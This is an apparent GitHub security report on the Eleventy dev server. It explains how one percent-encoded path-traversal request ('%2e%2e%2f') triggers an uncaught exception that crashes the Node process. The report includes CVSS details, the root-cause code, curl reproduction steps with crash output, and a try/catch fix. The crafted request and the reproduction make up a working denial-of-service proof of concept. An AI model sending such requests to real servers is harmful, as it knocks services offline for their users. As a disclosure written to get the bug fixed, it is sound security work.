Skip to content

Unauthenticated single-request DoS: unhandled exception in path validation crashes the entire process #150

Description

Summary

A single crafted HTTP GET request containing a percent-encoded path-traversal attempt (%2e%2e%2f) causes EleventyDevServer.getOutputDirFilePath() to throw an uncaught Error, which propagates all the way out of the raw http.Server request handler and crashes the entire Node.js process. No authentication, no special conditions — one request from anyone able to reach the dev server kills it for every connected user.

CWE: CWE-248 (Uncaught Exception) / CWE-400 (Uncontrolled Resource Consumption)
Severity: High
CVSS: 7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Root Cause

server.js:317, inside getOutputDirFilePath():

if(!this.isFileInDirectory(this.dir, computedPath)) {
  throw new Error("Invalid path");
}

This is the correct rejection path for an out-of-bounds request — but nothing between here and the raw HTTP request event catches it: getOutputDirFilePath()mapUrlToFilePath()eleventyProjectMiddleware()eleventyDevServerMiddleware()onRequestHandler()Server.emit("request"). The exception is never wrapped in a try/catch anywhere in that chain, so it reaches Node's own uncaught-exception handling and aborts the process.

Reproduction

mkdir -p /tmp/poc/_site && echo "<h1>hi</h1>" > /tmp/poc/_site/index.html
node --input-type=module -e '
import EleventyDevServer from "./server.js";
const server = EleventyDevServer.getServer("poc", "/tmp/poc/_site", { port: 9799 });
server.serve(9799);
'
$ curl -o /dev/null -w "%{http_code}\n" http://localhost:9799/index.html
200
$ curl -o /dev/null -w "%{http_code}\n" "http://localhost:9799/%2e%2e%2fsecret.txt"
# server crashes:
Error: Invalid path
    at EleventyDevServer.getOutputDirFilePath (server.js:317:13)
    at EleventyDevServer.mapUrlToFilePath (server.js:363:24)
    at EleventyDevServer.eleventyProjectMiddleware (server.js:698:24)
    at EleventyDevServer.eleventyDevServerMiddleware (server.js:650:5)
    at EleventyDevServer.onRequestHandler (server.js:854:11)
Node.js v22.23.2
$ curl -o /dev/null -w "%{http_code}\n" http://localhost:9799/index.html --max-time 3
000   # process is dead, connection refused

Impact

Anyone who can send an HTTP request to a running eleventy --serve instance can kill it instantly — including a malicious page open in another browser tab making a simple fetch()/<img> request to localhost:PORT, or anyone on the same network if the dev server is bound beyond localhost (a supported, documented option). No exploitation skill required beyond a single crafted URL.

Recommended Fix

Wrap the request-handling chain (or at minimum the path-resolution call) in a try/catch that returns a normal 400/403 HTTP response instead of throwing past the request handler:

onRequestHandler(req, res) {
  try {
    // existing logic
  } catch (e) {
    res.statusCode = 400;
    res.end("Bad Request");
    return;
  }
}

Verification

Dynamically confirmed on v3.0.0-alpha.11 via the real getServer()/serve() public API and real HTTP requests (curl), as shown above — reproduced independently twice.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions